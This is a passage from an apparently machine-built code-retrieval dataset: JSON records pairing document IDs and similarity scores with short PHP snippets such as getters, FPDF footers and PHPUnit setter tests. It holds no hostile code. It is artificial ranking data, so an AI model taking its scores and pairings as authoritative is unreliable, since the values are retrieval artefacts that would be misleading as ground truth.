"score": "0.4901913", "text": "function getYMargin() {\n return $this->_y_margin;\n }", "title": "" }, { "docid": "3e6e3fcd0d51925d74a5e4ff65a397be", "score": "0.48994687", "text": "function getHeight() {\n\t\treturn $this->height;\n\t}", "title": "" }, { "docid": "3e6e3fcd0d51925d74a5e4ff65a397be", "score": "0.48994687", "text": "function getHeight() {\n\t\treturn $this->height;\n\t}", "title": "" }, { "docid": "d543457b64ab8248c1b00ef75c9debb8", "score": "0.48966452", "text": "public function height()\n {\n if (empty($this->bodyheight)) {\n $this->getPage(\"Bio\");\n if (preg_match(\n \"!Height</td>\\s*<td>\\s*(?<imperial>.*?)\\s*(&nbsp;)?\\((?<metric>.*?)\\)!m\",\n $this->page[\"Bio\"],\n $match\n )) {\n $this->bodyheight[\"imperial\"] = str_replace('&nbsp;', ' ', trim($match['imperial']));\n $this->bodyheight[\"metric\"] = str_replace('&nbsp;', ' ', trim($match['metric']));\n }\n }\n return $this->bodyheight;\n }", "title": "" }, { "docid": "ed3fa35c58bb1af097fb70a87bb1a151", "score": "0.48940885", "text": "public function getHeight ()\r\n {\r\n return $this->height;\r\n }", "title": "" }, { "docid": "d948b4411c87dbfdfa8b09b54312358c", "score": "0.48896164", "text": "function drawFooter($text) {\r\n\t\t$this->pdf->SetFontSize(10);\r\n\t\t\r\n\t\t$this->pdf->Text(\r\n\t\t\t$this->startx, $this->starty + $this->ydim + 9,\r\n\t\t\t$text\r\n\t\t);\r\n\t\t\r\n\t\t$this->pdf->SetFontSize($this->fontsize);\r\n\t}", "title": "" }, { "docid": "2b48287aea9c45a95cb99b6fd3d28a58", "score": "0.48657694", "text": "public function getMarginAmt()\n {\n return $this->margin_amt;\n }", "title": "" }, { "docid": "2fbb029e7515558c4b9cc6dfff10f5b0", "score": "0.48606896", "text": "public function height() \n\t{\n\t\treturn $this->height;\n\t}", "title": "" }, { "docid": "18b6fdfcef817142caedf92b7c3ad0e7", "score": "0.485565", "text": "function setTextSize($a_value)\n\t{\n\t\tif($a_value === null)\n\t\t{\n\t\t\t$a_value = 100;\n\t\t}\n\t\t$this->textsize = $a_value;\n\t}", "title": "" }, { "docid": "a8dad76e174a80ee1850ad079d589aa2", "score": "0.4849004", "text": "function customize_print2() \n { \n echo \"<p style=font-size:\".$this->font_size.\";>\".$this->string_value.\"</p>\"; \n }", "title": "" }, { "docid": "cdbc52f3c943b56f33441a6470b084fe", "score": "0.4848831", "text": "private function _calculateFontSize(Semtech_Tagcloud_Element $element)\n\t{\n\t\t$spread = $this->_getSpread();\n\t\t$step = ($this->_maxfontsize - $this->_minfontsize)/$spread;\n\t\t$size = ceil($this->_minfontsize + (($element->weight - $this->_getMinWeight()) * $step));\n\t\t\n\t\treturn $size.$this->_fontsizeunit;\n\t}", "title": "" }, { "docid": "823f82b7f94d6b26cc6c61596916f136", "score": "0.48398605", "text": "public function getSizeY()\n {\n return $this->sizeY;\n }", "title": "" }, { "docid": "4a3f813be98f868db3d77b786797a913", "score": "0.4837361", "text": "function GetHeaderHeight() {\r\n\t$img=$this->iImg;\r\n\t$height=1;\r\n\tif( $this->day->iShowLabels ) {\r\n\t $height += $this->day->GetFontHeight($img);\r\n\t $height += $this->day->iTitleVertMargin;\r\n\t}\r\n\tif( $this->week->iShowLabels ) {\r\n\t $height += $this->week->GetFontHeight($img);\r\n\t $height += $this->week->iTitleVertMargin;\r\n\t}\r\n\tif( $this->month->iShowLabels ) {\r\n\t $height += $this->month->GetFontHeight($img);\r\n\t $height += $this->month->iTitleVertMargin;\r\n\t}\r\n\tif( $this->year->iShowLabels ) {\r\n\t $height += $this->year->GetFontHeight($img);\r\n\t $height += $this->year->iTitleVertMargin;\r\n\t}\r\n\treturn $height;\r\n }", "title": "" }, { "docid": "428feca46bac7707d54ced801a535ca7", "score": "0.4830962", "text": "function Footer()\r\n{\r\n // Position at 1.5 cm from bottom\r\n $this->SetY(-15);\r\n // Arial italic 8\r\n $this->SetFont('Arial','I',8);\r\n // Page number\r\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\r\n}", "title": "" }, { "docid": "534756a93cf1539cd54a584f67e590a3", "score": "0.48237944", "text": "function Footer()\n{\n $this->SetY(-15);\n //Arial italic 8\n $this->SetFont('Arial','I',8);\n //Page number\n $this->Cell(0,10,$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "221bd0e9176044fbcc75e2b5b742939e", "score": "0.48160398", "text": "public function setHeight($aHeight) {\n if (is_null($aHeight)) {\n $this->height = 160;\n } else {\n $this->height = $aHeight;\n }\n }", "title": "" }, { "docid": "c461ef214e7a4b0db0ab0122664dce26", "score": "0.4814843", "text": "function _fillBottom()\n {\n return $this->_text->_fillBottom() + $this->_padding;\n }", "title": "" }, { "docid": "00a3b2af19069d5201dbd2b38caa7b7f", "score": "0.48102465", "text": "public function getHeight_inches()\r\n {\r\n return $this->height_inches;\r\n }", "title": "" }, { "docid": "5e5c545957ec022c1bf807cf1ca4ee39", "score": "0.48039135", "text": "function dollar_club_dynamic_title_height() {\n\t\t?>\n\t\t<div class=\"dollar-club-title-grow\"></div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "ced40a0e2ccbb92f7e108151b17b52d3", "score": "0.48019543", "text": "public function getHeight() \n {\n return $this->_height;\n }", "title": "" }, { "docid": "2bdbd6b8db3805586851ac4f00e54167", "score": "0.4795502", "text": "public function getHeight()\n {\n return $this->height;\n }", "title": "" }, { "docid": "2bdbd6b8db3805586851ac4f00e54167", "score": "0.4795502", "text": "public function getHeight()\n {\n return $this->height;\n }", "title": "" }, { "docid": "2bdbd6b8db3805586851ac4f00e54167", "score": "0.4795502", "text": "public function getHeight()\n {\n return $this->height;\n }", "title": "" }, { "docid": "31113efd4384eb2900499c3e2951124d", "score": "0.47939357", "text": "public function setfontsize($pointsize)\n {\n }", "title": "" }, { "docid": "9fa276cc3a5dbc9153e52ae14a9267dc", "score": "0.47882998", "text": "public function getHeight () {\n return $this->height;\n }", "title": "" }, { "docid": "898aa9e2cbd340afd5b6d61018dad616", "score": "0.47873393", "text": "function acquia_margin() {\n return array(\n 'zero' => t('No Margin'),\n 'x-small' => t('X-Small Margin'),\n 'small' => t('Small Margin'),\n 'default' => t('Medium Margin'),\n 'large' => t('Large Margin'),\n );\n}", "title": "" }, { "docid": "22c23bfe340e2a77f667345864b4283c", "score": "0.47792315", "text": "function Footer()\n{\n $this->SetY(-15);\n\n$this->SetFont('Arial','I',8);\n\n$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n\n}", "title": "" } ]
127e7db10f28f1526ec7bc231315e8e1
Tests the setZ8001() method.
[ { "docid": "c9ab65a1066adf4d9bd2f61570a57902", "score": "0.71227896", "text": "public function testSetZ8001() {\n\n $obj = new DecTva();\n\n $obj->setZ8001(10.092018);\n $this->assertEquals(10.092018, $obj->getZ8001());\n }", "title": "" } ]
[ { "docid": "5b360900514481e03bec1854edf65dd2", "score": "0.6219255", "text": "public function testSetZ8003() {\n\n $obj = new DecTva();\n\n $obj->setZ8003(10.092018);\n $this->assertEquals(10.092018, $obj->getZ8003());\n }", "title": "" }, { "docid": "1dfbee2e7b6e1ee25c6d8ef394682b51", "score": "0.61454207", "text": "public function testSetZ8002() {\n\n $obj = new DecTva();\n\n $obj->setZ8002(10.092018);\n $this->assertEquals(10.092018, $obj->getZ8002());\n }", "title": "" }, { "docid": "989148963ec6284c46b8b049b4ad7f46", "score": "0.6104641", "text": "public function testSetZ8003c() {\n\n $obj = new DecTva();\n\n $obj->setZ8003c(10.092018);\n $this->assertEquals(10.092018, $obj->getZ8003c());\n }", "title": "" }, { "docid": "2239f644287d0c573b9af52044f24ac0", "score": "0.59328276", "text": "function test_set()\n{\n global $z_case;\n\n //uri check\n //pass\n var_dump($z_case);\n var_dump($z_case->setUri(\"\"));\n var_dump($z_case);\n var_dump($z_case->setUri(\"xxxxxxxx\"));\n var_dump($z_case);\n var_dump($z_case->setUri(\"/api_jsonrpc.php\"));\n var_dump($z_case);\n echo \"-----------------------------------------\\n\";\n\n //server check\n var_dump($z_case->setServer(\"\", 1234));\n var_dump($z_case);\n var_dump($z_case->setServer(\"192.168.56.101\", 8003));\n var_dump($z_case);\n echo \"-----------------------------------------\\n\";\n\n var_dump($z_case->setUser(\"Admin\", \"zabbix\"));\n var_dump($z_case);\n var_dump($z_case->login());\n var_dump($z_case);\n //has reset session\n var_dump($z_case->setUser(\"Admin\", \"zabbix\"));\n var_dump($z_case);\n}", "title": "" }, { "docid": "5f096ff80e9d22917ed21ef1a6aad7e5", "score": "0.54599315", "text": "public function testSetz9bCode() {\n\n $obj = new DecTva();\n\n $obj->setz9bCode(\"z9bCode\");\n $this->assertEquals(\"z9bCode\", $obj->getz9bCode());\n }", "title": "" }, { "docid": "0b1445490b014cac3caa970951e69ad8", "score": "0.51558906", "text": "public function testSetz9bLib() {\n\n $obj = new DecTva();\n\n $obj->setz9bLib(\"z9bLib\");\n $this->assertEquals(\"z9bLib\", $obj->getz9bLib());\n }", "title": "" }, { "docid": "126763d77bc0507f6cd34e23bc306343", "score": "0.5118587", "text": "public function testSetZ0032() {\n\n $obj = new DecTva();\n\n $obj->setZ0032(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0032());\n }", "title": "" }, { "docid": "5ddb6170f41f54edad9f2ab1a7e9baae", "score": "0.5116301", "text": "function setStub($stub, $len){}", "title": "" }, { "docid": "c4ee30f5ab39591f0d2a4676d9935792", "score": "0.5086755", "text": "public function testSetFrontController()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "984ea9b9ef82037ad4700ec81b058a76", "score": "0.50837725", "text": "public function testUcpSecurityServiceChangePin()\n {\n\n }", "title": "" }, { "docid": "65ebc9824bd5e51bc51cbf5581606e8c", "score": "0.5067556", "text": "public function setStub($stub, $len){}", "title": "" }, { "docid": "b7ac5bb113e516e39173756deb372dde", "score": "0.5065276", "text": "public function set(int $value): bool {\n $offset = (int)floor($value / 8);\n if ($offset < 1 || $offset > $this->length - 1) {\n return false;\n }\n $source = ord(substr($this->bitvec, $offset, 1));\n $mask = 1 << (($value-1) % 8);\n $this->bitvec = substr_replace($this->bitvec, chr($source | $mask), $offset, 1);\n return true;\n }", "title": "" }, { "docid": "092cbb70b2fd242afa1d30fa741422e2", "score": "0.50604755", "text": "public function testSetZ8005() {\n\n $obj = new DecTva();\n\n $obj->setZ8005(10.092018);\n $this->assertEquals(10.092018, $obj->getZ8005());\n }", "title": "" }, { "docid": "19842e4da13c5362acf46a53c3dfe557", "score": "0.50543094", "text": "public function testSetz0151() {\n\n $obj = new DecTva();\n\n $obj->setz0151(10.092018);\n $this->assertEquals(10.092018, $obj->getz0151());\n }", "title": "" }, { "docid": "b6ee2564d2cafe05f9c29b3ad48c5b29", "score": "0.50360394", "text": "public function testInvalidZendingcode()\r\n {\r\n (new Pakket)\r\n ->setZendingcode('DezeIsInvalid');\r\n }", "title": "" }, { "docid": "cac7822fb58a9322c5afcae1619b8764", "score": "0.5030659", "text": "function setWarmUpState($warmup,$setiffalse=false,$caller=''){\n\tglobal $_debug,$_WarmUp,$_FWarmUp,$_NextFWarmUp;\n\t//if($_debug>6) console(\"*** setWarmUpState - WarmUp: {$_WarmUp} -> {$warmup} ??? ({$caller})\");\n\tif(is_bool($warmup) && $warmup != $_WarmUp){\n\t\tif($warmup || $setiffalse){\n\t\t\tif($_debug>2) console(\"* setWarmUpState - WarmUp: {$_WarmUp} -> {$warmup} ({$caller})\");\n\t\t\t$_WarmUp = $warmup;\n\t\t\tif($_WarmUp && $_FWarmUp > 0 && $caller != 'SpecialRoundRestart'){\n\t\t\t\t$_FWarmUp = 0;\n\t\t\t\t$_FNextWarmUp = 0;\n\t\t\t\taddEvent('FWarmUpChange',$_FWarmUp); // addEvent('FWarmUpChange',status)\n\t\t\t}\n\t\t\taddEvent('WarmUpChange',$_WarmUp); // addEvent('WarmUpChange',status)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "734759298b3b631f67f4e114babdb65b", "score": "0.5023372", "text": "public function testSetCodeNaf() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setCodeNaf(\"codeNaf\");\n $this->assertEquals(\"codeNaf\", $obj->getCodeNaf());\n }", "title": "" }, { "docid": "89929ce452b453d74917978e443a7710", "score": "0.5021471", "text": "public function testZendingcodeTooShort()\r\n {\r\n (new Pakket)\r\n ->setZendingcode('3S12345678910');\r\n }", "title": "" }, { "docid": "df14118454b801c07b2661e83a06dadf", "score": "0.49835157", "text": "public function set_ieee8021x($state)\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $state = ($state) ? '1' : '0';\n\n $this->_set_parameter('ieee8021x', $state);\n }", "title": "" }, { "docid": "64189190d9c92d58083b7467b83394fe", "score": "0.49778238", "text": "public function testDontSeeInRedisExistingZSetWithCorrectValue()\n {\n $this->shouldFail();\n $this->module->dontSeeInRedis(\n self::$keys['zset']['name'],\n self::$keys['zset']['value']\n );\n }", "title": "" }, { "docid": "2df45e5ca1c48ae9b885140249ed945d", "score": "0.49667907", "text": "public function testSetAz1081b() {\n\n $obj = new DecTva();\n\n $obj->setAz1081b(10.092018);\n $this->assertEquals(10.092018, $obj->getAz1081b());\n }", "title": "" }, { "docid": "fea06951520223ccc4115203e54f02cd", "score": "0.49552113", "text": "function setDefaultStub($index, $webindex){}", "title": "" }, { "docid": "f52026f3be409d437fe3d5186f58bac8", "score": "0.49387178", "text": "public function testSetZ0100() {\n\n $obj = new DecTva();\n\n $obj->setZ0100(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0100());\n }", "title": "" }, { "docid": "9972cd728097fb890d10c692971bd72f", "score": "0.49379316", "text": "public function testSetZ9991() {\n\n $obj = new DecTva();\n\n $obj->setZ9991(10.092018);\n $this->assertEquals(10.092018, $obj->getZ9991());\n }", "title": "" }, { "docid": "c5bdedb3ca096c1e7f3e4fec3d3ca598", "score": "0.49348655", "text": "public function set_up()\n {\n if (!defined('TESTS_ZEND_SERVICE_SHORTURL_BITLY_ENABLED')\n || !constant('TESTS_ZEND_SERVICE_SHORTURL_BITLY_ENABLED')\n ) {\n $this->markTestSkipped('Testing Zend_Service_ShortUrl_BitLyTest only works when TESTS_ZEND_SERVICE_SHORTURL_BITLY_ENABLED is set.');\n }\n \n Zend_Service_Abstract::setHttpClient(new Zend_Http_Client());\n }", "title": "" }, { "docid": "2c6b1c14403e84e0ae67b5d3605c3ec3", "score": "0.49334517", "text": "public function testUcpSecurityServiceResetPin()\n {\n\n }", "title": "" }, { "docid": "d2e180aaa7b95932b8e60acb92927173", "score": "0.49280375", "text": "public function testSetAz1081() {\n\n $obj = new DecTva();\n\n $obj->setAz1081(10.092018);\n $this->assertEquals(10.092018, $obj->getAz1081());\n }", "title": "" }, { "docid": "17a1173e26208d57b6e3e6cd56f7efb0", "score": "0.49149346", "text": "public function testSetZ0701() {\n\n $obj = new DecTva();\n\n $obj->setZ0701(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0701());\n }", "title": "" }, { "docid": "84bab59f279966891319e5b8dbf37825", "score": "0.49144155", "text": "public function testSetCorres8() {\n\n $obj = new DecTva();\n\n $obj->setCorres8(\"corres8\");\n $this->assertEquals(\"corres8\", $obj->getCorres8());\n }", "title": "" }, { "docid": "8b033063ea945709b71409470258b31a", "score": "0.49122137", "text": "public function testSetACorres8() {\n\n $obj = new DecTva();\n\n $obj->setACorres8(\"aCorres8\");\n $this->assertEquals(\"aCorres8\", $obj->getACorres8());\n }", "title": "" }, { "docid": "b8069291d11fc24b5e309c92f0ae1df1", "score": "0.49094385", "text": "public function testAddressingCountryCodeTooShort()\r\n {\r\n (new Pakket)\r\n ->setGeadresseerdeLandcode('x');\r\n }", "title": "" }, { "docid": "29dc788078844ce232301da587172ae5", "score": "0.4903707", "text": "public function testSetz0151b() {\n\n $obj = new DecTva();\n\n $obj->setz0151b(10.092018);\n $this->assertEquals(10.092018, $obj->getz0151b());\n }", "title": "" }, { "docid": "44b978098ffbe81b37b8825f2f58f8a9", "score": "0.48975703", "text": "public function setUp()\n {\n error_reporting(E_ALL);\n $this->hostname = 'http://brs-api.radsoft.com.lh';\n\n if (true === isset($_ENV['BRS_OPENINVITER_HOST'])) {\n $this->hostname = $_ENV['BRS_OPENINVITER_HOST'];\n }\n\n }", "title": "" }, { "docid": "7b9fab0b6eba262a42e265040161b713", "score": "0.48929542", "text": "public function testSetZ0040() {\n\n $obj = new DecTva();\n\n $obj->setZ0040(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0040());\n }", "title": "" }, { "docid": "349ae21951e3cdd72f0f240b75ae26ea", "score": "0.48916233", "text": "public function set_ip()\r\n\t{\r\n\r\n // echo \"SET \" . self::getIpAdd();\r\n\r\n\t}", "title": "" }, { "docid": "666638c9338f3ebc482f411604d07a6d", "score": "0.48852655", "text": "public function testSet()\n {\n $site_name = 'my-site';\n $upstream_id = $this->upstream_data['id'];\n\n $this->expectGetUpstream($upstream_id);\n\n $this->authorizations->expects($this->once())\n ->method('can')\n ->with('switch_upstream')\n ->willReturn(true);\n $this->site->expects($this->once())\n ->method('getUpstream')\n ->with()\n ->willReturn($this->site_upstream);\n $this->logger->expects($this->at(0))\n ->method('log')->with(\n 'info',\n 'To undo this change run `terminus site:upstream:set {site} {upstream}`',\n ['site' => $this->site->id, 'upstream' => $this->site_upstream->id,]\n );\n\n $this->site\n ->method('getName')\n ->willReturn($site_name);\n\n $this->expectConfirmation();\n $this->site->expects($this->once())\n ->method('setUpstream')\n ->with($upstream_id)\n ->willReturn($this->workflow);\n\n $this->logger->expects($this->at(1))\n ->method('log')->with(\n $this->equalTo('notice'),\n $this->equalTo('Set upstream for {site} to {upstream}'),\n $this->equalTo(['site' => $site_name, 'upstream' => $this->upstream_data['label']])\n );\n\n $out = $this->command->set($site_name, $upstream_id);\n $this->assertNull($out);\n }", "title": "" }, { "docid": "9f84507293ba1be0d87fb99dbfb8810b", "score": "0.4883944", "text": "public function testSetZ0040b() {\n\n $obj = new DecTva();\n\n $obj->setZ0040b(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0040b());\n }", "title": "" }, { "docid": "310f9e7906802816d02fc4f13881507b", "score": "0.4883137", "text": "public function testSetHomeCountry()\n {\n $oList = $this->getProxyClass('oxDeliveryList');\n $oList->setHomeCountry(array('something'));\n $this->assertEquals('something', $oList->getNonPublicVar('_sHomeCountry'));\n }", "title": "" }, { "docid": "6f7c1266fccf9f4b5b9ab8edd2b46f70", "score": "0.48827308", "text": "public function test__set()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "6f7c1266fccf9f4b5b9ab8edd2b46f70", "score": "0.48827308", "text": "public function test__set()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "f9b15af2371fe92014eedd4cb1f51e34", "score": "0.48780286", "text": "public function testSuperglobal()\n {\n $_SERVER = array('REMOTE_ADDR' => '24.24.24.24');\n $lookup = new Whip(Whip::REMOTE_ADDR);\n $this->assertEquals('24.24.24.24', $lookup->getValidIpAddress());\n }", "title": "" }, { "docid": "f44f985661e28066385dc84279ac6598", "score": "0.4861452", "text": "protected function setUp(): void\n {\n require_once('src/functions/common/functions_system.php');\n $_SERVER['HTTPS'] = 'on';\n $_SERVER['SERVER_PORT'] = 443;\n $_SERVER['HTTP_HOST'] = 'netflex-sdk.dev';\n $_SERVER['REQUEST_URI'] = '/test';\n }", "title": "" }, { "docid": "7b34cbb6ede93cb41ace765e188ddd3c", "score": "0.48577753", "text": "public function testSetCodeClient() {\n\n $obj = new CdeClientLigne();\n\n $obj->setCodeClient(\"codeClient\");\n $this->assertEquals(\"codeClient\", $obj->getCodeClient());\n }", "title": "" }, { "docid": "da36bcd614fa4cf34f15f70f7778c3fe", "score": "0.48510483", "text": "public function testUcpSecurityServiceInitialPinSetup()\n {\n\n }", "title": "" }, { "docid": "d7fe00cc762aa7d113ee14cd37e6860b", "score": "0.48476228", "text": "public function testSetZ0100b() {\n\n $obj = new DecTva();\n\n $obj->setZ0100b(10.092018);\n $this->assertEquals(10.092018, $obj->getZ0100b());\n }", "title": "" }, { "docid": "59f7647b5fa9c293a625823d98ee07e1", "score": "0.4845625", "text": "public function testSetZ9989() {\n\n $obj = new DecTva();\n\n $obj->setZ9989(10.092018);\n $this->assertEquals(10.092018, $obj->getZ9989());\n }", "title": "" }, { "docid": "7fe30ee9254c11b25a3666dee08f4114", "score": "0.48452535", "text": "public function testInvalidSaprouterValues($value)\n {\n (new ConfigCommonInstance())->setSaprouter($value);\n }", "title": "" }, { "docid": "f2ec28936b381c780a66862af612f6a2", "score": "0.48331282", "text": "public function testSetCodeClient() {\n\n $obj = new Dirigeants();\n\n $obj->setCodeClient(\"codeClient\");\n $this->assertEquals(\"codeClient\", $obj->getCodeClient());\n }", "title": "" }, { "docid": "a6aec0c7f543aecb4afb328573ad45ed", "score": "0.48259854", "text": "public function testGetAndSetIso3()\n {\n $iso3 = 'USA';\n\n $this->country->setIso3($iso3);\n\n $actual = $this->country->getIso3();\n\n $this->assertEquals($iso3, $actual);\n }", "title": "" }, { "docid": "c1c3caa600620c215b8d673d66d23e11", "score": "0.48249516", "text": "public function testSet() {\n $this->chain->set('test', 123);\n\n $cached = $this->firstBackend->get('test');\n $this->assertNotFalse($cached, 'Test key is in the first backend');\n $this->assertSame(123, $cached->data, 'Test key has the right value');\n\n $cached = $this->secondBackend->get('test');\n $this->assertNotFalse($cached, 'Test key is in the second backend');\n $this->assertSame(123, $cached->data, 'Test key has the right value');\n\n $cached = $this->thirdBackend->get('test');\n $this->assertNotFalse($cached, 'Test key is in the third backend');\n $this->assertSame(123, $cached->data, 'Test key has the right value');\n }", "title": "" }, { "docid": "4658af00630d31c86fb2f5f40d6051a0", "score": "0.4819434", "text": "public function testSetZ01() {\n\n $obj = new DecTva();\n\n $obj->setZ01(10.092018);\n $this->assertEquals(10.092018, $obj->getZ01());\n }", "title": "" }, { "docid": "fa0e06a158aeb98d401031ca31d0c49e", "score": "0.4819308", "text": "public function testSetCodeClient() {\n\n $obj = new BudgetT();\n\n $obj->setCodeClient(\"codeClient\");\n $this->assertEquals(\"codeClient\", $obj->getCodeClient());\n }", "title": "" }, { "docid": "b31df95fb9b550225c795c7cb4a97521", "score": "0.48121148", "text": "public function testSetTvaPrefixeIntracom() {\n\n $obj = new Dossier4();\n\n $obj->setTvaPrefixeIntracom(\"tvaPrefixeIntracom\");\n $this->assertEquals(\"tvaPrefixeIntracom\", $obj->getTvaPrefixeIntracom());\n }", "title": "" }, { "docid": "012fd1c14947aaa39fac8d38498f0b10", "score": "0.48016644", "text": "public function testIfRegtest()\n {\n $server = $this->rpcFactory->startBitcoind();\n\n $result = $server->makeRpcRequest(\"getblockchaininfo\");\n $this->assertInternalType('array', $result);\n $this->assertArrayHasKey('result', $result);\n $this->assertArrayHasKey('chain', $result['result']);\n $this->assertEquals('regtest', $result['result']['chain']);\n\n $server->destroy();\n }", "title": "" }, { "docid": "b8fc01b061b2536867181698be415438", "score": "0.47970355", "text": "public static function __set_state($x){\n\t\treturn false;\n\t}", "title": "" }, { "docid": "b7cc9044bdb0fc38c0d01a58414611f3", "score": "0.47794232", "text": "public function testSetz0044b() {\n\n $obj = new DecTva();\n\n $obj->setz0044b(10.092018);\n $this->assertEquals(10.092018, $obj->getz0044b());\n }", "title": "" }, { "docid": "2cc2fbf90ac7a649c35badd3e7320f19", "score": "0.47777462", "text": "public function testSetIp()\n {\n $controller = new CheckIp2();\n $res = $controller->setIp(\"172.217.11.23\");\n\n $this->assertNull($res);\n }", "title": "" }, { "docid": "666bc2c85d7c66b7a8b69200bdfa07f6", "score": "0.47755662", "text": "public function testSetter() {\r\n $this->_config->set('test1', 'data1');\r\n\r\n $this->assertEquals('data1', $this->_config->get('test1'));\r\n\r\n $this->_config->setTest2('data2');\r\n\r\n $this->assertEquals('data2', $this->_config->get('test2'));\r\n }", "title": "" }, { "docid": "26d297fce0074b4a0be8a09640f5a94f", "score": "0.47730142", "text": "public function testSetCodePostal() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setCodePostal(\"codePostal\");\n $this->assertEquals(\"codePostal\", $obj->getCodePostal());\n }", "title": "" }, { "docid": "4e69c645960a1b98aa589bf5ed8aefcb", "score": "0.4772414", "text": "public function testSetBtq() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setBtq(\"btq\");\n $this->assertEquals(\"btq\", $obj->getBtq());\n }", "title": "" }, { "docid": "ed0a659156e6882ee3c359a9edec6f5b", "score": "0.4763404", "text": "public function testSeeInRedisExistingZSetWithCorrectValueWithScores()\n {\n $this->module->seeInRedis(\n self::$keys['zset']['name'],\n self::$keys['zset']['value']\n );\n }", "title": "" }, { "docid": "617c66923cccba55f6304a684e119f3c", "score": "0.47595614", "text": "public function testGetAndSetCountryName()\n {\n $countryName = 'United States';\n\n $this->country->setCountryName($countryName);\n\n $actual = $this->country->getCountryName();\n\n $this->assertEquals($countryName, $actual);\n }", "title": "" }, { "docid": "021071c031c37c02606bcab5ae5f8743", "score": "0.47487232", "text": "public function setUp(): void\n {\n parent::setUp();\n\n // Obtain configuration params\n $class_name = $this->getApiCodesClassName();\n\n $obj = new $class_name();\n /** @var int $min */\n $min = Lockpick::call($obj, 'getMinCode');\n $this->min_allowed_code = $min;\n /** @var int $max */\n $max = Lockpick::call($obj, 'getMaxCode');\n $this->max_allowed_code = $max;\n\n // generate random api_code\n /** @noinspection RandomApiMigrationInspection */\n $this->random_api_code = \\mt_rand($this->min_allowed_code, $this->max_allowed_code);\n\n // AND corresponding mapped message mapping\n $map = Lockpick::call(new BaseApiCodes(), 'getBaseMap');\n /** @var array $map */\n if (empty($map)) {\n throw new \\RuntimeException('getBaseMap() returned empty value.');\n }\n $idx = \\random_int(1, \\count($map));\n $this->random_api_code_message_key = $map[ \\array_keys($map)[ $idx - 1 ] ];\n $this->random_api_code_message = $this->langGet($this->random_api_code_message_key,\n ['api_code' => $this->random_api_code,]);\n\n $this->error_message_map = [\n $this->random_api_code => $this->random_api_code_message_key,\n ];\n \\Config::set(RB::CONF_KEY_MAP, $this->error_message_map);\n }", "title": "" }, { "docid": "4f46008dd44d762698aa356bd8d0d3f6", "score": "0.4735968", "text": "public function testSetCodeClient() {\n\n $obj = new AbsEmpRemplacants();\n\n $obj->setCodeClient(\"codeClient\");\n $this->assertEquals(\"codeClient\", $obj->getCodeClient());\n }", "title": "" }, { "docid": "370a4841788fa131b4f20d592a403c3e", "score": "0.47355813", "text": "public function setUp(): void\n {\n $this->saudi = new SaudiAddress('sna-api-key', 'Development');\n }", "title": "" }, { "docid": "f6921a80d108528e59280c9af821cfc6", "score": "0.4723634", "text": "public function testSetNumVoie() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setNumVoie(\"numVoie\");\n $this->assertEquals(\"numVoie\", $obj->getNumVoie());\n }", "title": "" }, { "docid": "d48c1aba6246abb6a4fedc72074b33da", "score": "0.47183818", "text": "public function test_Unlock_Set($testKey, $testValue, $testFlags) {\n\n\t\t$instance = $this->sharedFixture;\n\t\t$instance2 = Connection::getMaster();\n\t\t\n\t\t$instance->set($testKey, $testValue, $testFlags);\n\t\t\t// same client\n\t\t$instance->getl($testKey);\n\t\t$instance->unlock($testKey);\n\t\t$success = $instance->set($testKey, $testValue, $testFlags);\n \t\t$this->assertTrue($success, \"Memcache::set (positive)\");\n\t\t\t// different client\n\t\t$instance->getl($testKey);\n\t\t$instance->unlock($testKey);\n\t\t$success = $instance2->set($testKey, $testValue, $testFlags);\n \t\t$this->assertTrue($success, \"Memcache::set (positive)\");\n\t\t\t// both clients\n\t\t$instance->getl($testKey);\n\t\t$instance->unlock($testKey);\n\t\t$instance2->set($testKey, $testValue, $testFlags);\n\t\t$success = $instance->set($testKey, $testValue, $testFlags);\t\t\n \t\t$this->assertTrue($success, \"Memcache::set (positive)\");\n\t\t\t\n\t}", "title": "" }, { "docid": "cfcc0e0233ff356ede2853b7223fa433", "score": "0.47085467", "text": "public function setMaster($host, $port, $timestamp, $check_consistency){}", "title": "" }, { "docid": "82fa5683c67b13203610a76998fd8456", "score": "0.47085282", "text": "public static function set_control()\n\t{\n\t\tglobal $wptouch_pro ;\n\t\tif ( $wptouch_pro->is_mobile_device ) {\n\t\t\tLiteSpeed_Cache_API::set_mobile() ;\n\t\t}\n\t}", "title": "" }, { "docid": "42945b62716d0945c3444bb52ad30e87", "score": "0.47075918", "text": "public function testSetTvatlraIban1() {\n\n $obj = new Dossier4();\n\n $obj->setTvatlraIban1(\"tvatlraIban1\");\n $this->assertEquals(\"tvatlraIban1\", $obj->getTvatlraIban1());\n }", "title": "" }, { "docid": "2b6c318c99435fd0b708aadfc83bc252", "score": "0.4706402", "text": "public function setUp() : void {\n parent::setUp();\n $this->backupGet = $_GET;\n $_GET = ['q' => $_GET['q']];\n }", "title": "" }, { "docid": "9701364b8ccc40f4563dcb08c5e936f9", "score": "0.47063673", "text": "public function testSetz0044() {\n\n $obj = new DecTva();\n\n $obj->setz0044(10.092018);\n $this->assertEquals(10.092018, $obj->getz0044());\n }", "title": "" }, { "docid": "eb9a1752efc65dc82d58ac9afd34eb5f", "score": "0.470115", "text": "public function testSetZ9979() {\n\n $obj = new DecTva();\n\n $obj->setZ9979(10.092018);\n $this->assertEquals(10.092018, $obj->getZ9979());\n }", "title": "" }, { "docid": "ca922726edcd1e8f5885e48e095542e3", "score": "0.46993774", "text": "public function testGetZRSettings()\n {\n }", "title": "" }, { "docid": "41b82bde08a97214d0c781cc13a85583", "score": "0.46956137", "text": "public function setUp()\n {\n $shib_server = array(\n 'HTTP_HOST' => $this->http_host,\n 'REQUEST_URI' => $this->request_uri,\n 'Shib-Identity-Provider' => 